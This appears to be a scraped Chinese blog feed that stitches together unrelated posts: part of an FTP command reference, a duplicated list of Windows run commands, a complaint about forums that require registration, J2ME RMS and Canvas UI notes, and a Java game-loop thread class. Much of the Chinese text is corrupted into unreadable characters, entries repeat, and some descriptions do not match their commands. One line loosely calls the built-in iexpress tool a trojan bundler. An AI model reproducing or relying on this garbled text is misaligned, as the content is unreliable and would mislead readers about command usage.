39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如：(x)nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变?sh)a1Qa2?该命令特别适用于远E主Zؓ(f)非UNIX机的情况?
40.ntrans[inchars[outchars]]Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变?sh)RRR?/p>
41.open host[port]Q徏立指定ftp服务器连接，可指定连接端口?
42.passiveQ进入被动传输方式?/p>
43.promptQ设|多个文件传输时的交互提C?
44.proxy ftp-cmdQ在ơ要控制q接中，执行一条ftp命o(h)Q?该命令允许连接两个ftp服务器，以在两个服务器间传输文g。第一条ftp命o(h)必须为openQ以首先建立两个服务器间的连接?
45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?
46.pwdQ显CE主机的当前工作目录?/p>
47.quitQ同byeQ退出ftp?x)话?
48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器，如：(x)quote syst.
49.recv remote-file[local-file]Q同get?
50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?/p>
51.rhelp[cmd-name]Q请求获得远E主机的帮助?
52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态， 否则昄文g状态?/p>
53.rename[from][to]Q更改远E主机文件名?
54.resetQ清除回{队列?/p>
55.restart markerQ从指定的标志marker处，重新开始get或putQ如Qrestart 130?
56.rmdir dir-nameQ删除远E主机目录?/p>
57.runiqueQ设|文件名只一性存储，若文件存在，则在原文件后加后~.1Q?.2{?
58.send local-file[remote-file]Q同put?/p>
59.sendportQ设|PORT命o(h)的用?
60.site arg1Qarg2...Q将参数作ؓ(f)SITE命o(h)逐字发送至q程ftpL?/p>
61.size file-nameQ显CE主机文件大，如：(x)site idle 7200?
62.statusQ显C当前ftp状态?/p>
63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?
64.suniqueQ将q程L文g名存储设|ؓ(f)只一(与runique对应)?/p>
65.systemQ显CE主机的操作pȝcd?
66.tenexQ将文g传输cd讄为TENEX机的所需的类型?/p>
67.tickQ设|传输时的字节计数器?
68.traceQ设|包跟踪?/p>
69.type[type-name]Q设|文件传输类型ؓ(f)type-nameQ缺省ؓ(f)asciiQ如:type binaryQ设|二q制传输方式?
70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3
71.user user-name[password][account]Q向q程L表明自己的n份，需要口令时Q必输入口令，如：(x)user anonymous my@email?
72.verboseQ同命o(h)行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓ(f)on.
73.?[cmd]Q同help.
#11 十一Q?/p>
7Q计机q行命o(h)全集 winver---------(g)查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
winver---------(g)查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
wscript--------windows脚本宿主讄
write----------写字板winmsd-----pȝ信息
wiaacmgr-------扫描仪和照相机向?
winchat--------XP自带局域网聊天
mem.exe--------昄内存?sh)用情?
Msconfig.exe---pȝ配置实用E序
mplayer2-------易widnows media player
mspaint--------d?
mstsc----------q程桌面q接
mplayer2-------媒体播放?
magnify--------攑֤镜实用程?
mmc------------打开控制?
mobsync--------同步命o(h)
dxdiag---------(g)查DirectX信息
drwtsn32------ pȝȝ
devmgmt.msc--- 讑֤理?
dfrg.msc-------盘片整理E序
diskmgmt.msc---盘理实用E序
dcomcnfg-------打开pȝlg服务
ddeshare-------打开DDE׃n讄
dvdplay--------DVD播放?
net stop messenger-----停止信服务
net start messenger----开始信使服?
notepad--------打开C?
nslookup-------|络理的工具向?
ntbackup-------pȝ备䆾和还?
narrator-------屏幕"讲述?
ntmsmgr.msc----Ud存储理?
ntmsoprq.msc---Ud存储理员操作请?
netstat -an----(TC)命o(h)(g)查接?
syncapp--------创徏一个公文包
sysedit--------pȝ配置~辑?
sigverif-------文g{验证E序
sndrec32-------录音?
shrpubw--------创徏׃n文g?
secpol.msc-----本地安全{略
syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?
services.msc---本地服务讄
Sndvol32-------音量控制E序
sfc.exe--------pȝ文g(g)查器
sfc /scannow---windows文g保护
tsshutdn-------60U倒计时关机命?
tourstart------xp介（安装完成后出现的漫游xpE序Q?
taskmgr--------d理?
eventvwr-------事g查看?
eudcedit-------造字E序
explorer-------打开资源理?
packager-------对象包装E序
perfmon.msc----计算机性能监测E序
progman--------E序理?
regedit.exe----注册?
rsop.msc-------l策略结果集
regedt32-------注册表编辑器
rononce -p ----15U关?
regsvr32 /u *.dll----停止dll文gq行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命o(h)提示W?
chkdsk.exe-----Chkdsk盘?gu)(g)?
certmgr.msc----证书理实用E序
calc-----------启动计算?
charmap--------启动字符映射?
cliconfg-------SQL SERVER 客户端网l实用程?
Clipbrd--------剪脓(chung)板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管?
cleanmgr-------**整理
ciadv.msc------索引服务E序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----(g)查XP是否Ȁz?
lusrmgr.msc----本机用户和组
logoff---------注销命o(h)
iexpress-------木马捆绑工具Q系l自?
Nslookup-------IP地址侦测?
fsmgmt.msc-----׃n文g夹管理器
utilman--------辅助工具理?
gpedit.msc-----l策?/p>
]]>
今天览此网?发现有新的东西见C个论坛http://gocom.primeton.com/modules/newbb/titleflat_4824_30.htm
E微看了(jin)?觉得里面的标题还?sh)?q去看了(jin)?觉得好郁闷好多论坛帖子要求回复才可以览。这不是明摆者要我注册码Q?
说句?j)里话，我很讨厌q种做法。不q你的写多么，如果要拿除来分nQ我觉得完全是没必要强制读者做Z些没必要的动作。如果不惛_享，写在本子上别发表出来。觉得这样做只会(x)让我感到厌恶。打?yn)LҎ(gu)的Ş象?
q样的感觉不爽?/p>
]]>
具体看源代码.里面可能存在一些bug
]]>
]]>
RMS详细解答
RMS(Record Management System)是MIDP中一个非帔R要的子系l?
它提供了(jin)Ҏ(gu)据的持久存储.对于存放E序数据是个唯一的选择(如果不用jsr75规范的话).
对于jsr75,我在以前的文章里已经有了(jin)详l的例子,大家可以参考下.
http://wuhua.javaeye.com/admin/show/28712
对于RMS里面的API可以实现Ҏ(gu)据的存取跟排序等功能.
实在不知道怎么写文?只能那例子出来说?
]]>
最q发现很多朋友在设计j2meE序的时候，在有些关键的UI设计都放弃j2me提供的高UUI。而自己通过l承CanvasQ而实现自己想要的效果。游戏的菜单设计一般都是这栗设计自qUI是比较困隄Q因p控制屏幕的各个元素跟各个元素的低U事件。我惌些不是问题。主要还是很有教程手把手的教你。小W我l过一个项目，而vq个目的UI全部是自己实现。所以在q方面算是有点点l验。所以拿出来l大家分享下?
我的设计思想是这L(fng)?
1。手机CPUQ内存等资源都有限。手机屏q各个厂商各不相同?
2。手机基本不用考虑Q窗口移动，拖动Q羃放，重叠Q窗口至等问题?
3。手机窗口事件不用考虑Q拖动，UdQ羃放，鼠标{时间。因此问题就相对单了(jin)?
4Q我们只需要实玎ͼUI的显C文字Q图片的排版昄Q已l文字的滚动昄{?/p>
下面是一些片D代码，希望?
首先设计两个核心(j)的类?
1。Part Q－ H口昄部g。主要是一些可以组装的lg例如QTextFieldQTextBoxQ等
上面的类不以显C，主要是通过下面的类Q通过addPartҎ(gu)dq去?/p>
以上是UI的核?j)，以后我将会(x)逐渐介绍其他的组件跟相关的事件接口。读者也可以自己实现一些有意思的界面然后试下，我相信效果会(x)更好
]]>
自己实现操作CanvasQ很大部分是Ҏ(gu)字的昄以及(qing)排版操作。而对字体的定义则每个厂商都有自己的规范，必然nokia定义?jin)大Q中Q小字体。而我在其他手Z只有一U字体，所以无Z怎么样定义字体的大小都只有一U效果，q样的话。你可能要在E序中自p行判断，然后在显C出来。要不然的话Q则写出的程序在各个机型上显C的效果?x)有一些不同?
下面让我们来设计可以滚动的TextBox.
首先l承PartQUI的第一文章有l出代码)
以上代码是基本框架。思\p栗实践v来也不困难?/p>
]]>
个h认ؓ(f)游戏最难控制的是q些U程?jin)。如果游戏复杂的话。ؓ(f)?jin)避免资源冲H，死锁{。这斚w对程序要求是很高的。还好。我那个游戏很简单，所以就不用考虑到这些?br />
只要一个最重要的东西就行了(jin)?br />
- //无非是要E序不停的运?直到游戏l束Z
- while (true) {
- game.run();
- try {
- Thread.sleep(80); // U程延迟
- } catch (InterruptedException ie) {
- }
- }
- /********************************************************************
- * 目名称 Q?lt;b>j2me学习(fn)</b> <br/>
- *
- * Copyright 2005-2006 Wuhua. All rights reserved
- ********************************************************************/
- package org.wuhua.battleplan;
- import javax.microedition.lcdui.Display;
- /**
- * <b>cdQGameThread.java</b> </br> ~写日期: 2006-11-30 <br/>
- * E序功能描述Q游戏线E控制类Q主要负责按照一定的旉h屏幕Q来控制画面 .
- * 因ؓ(f)E序是每80毫秒h一ơ，所以在控制子弹跟飞机的时候，设计着应该在那Ҏ(gu)?/span>
- * <br/> Demo: <br/> Bug: <br/>
- *
- * E序变更日期 Q?lt;br/> 变更作?nbsp;Q?lt;br/> 变更说明 Q?lt;br/>
- *
- * @author wuhua </br> <a href="mailto:rrq12345@163.com">rrq12345@163.com</a>
- */
- public class GameThread implements Runnable {
- private Game game;
- GameThread(){
- game = new Game();
- }
- public void run() {
- gameRun();
- }
- public void init(){
- game.init();
- }
- public void open(Display d){
- d.setCurrent(game);
- }
- private void gameRun() {
- while (true) {
- game.run();
- try {
- Thread.sleep(80); // U程延迟
- } catch (InterruptedException ie) {
- }
- }
- }
- }
]]>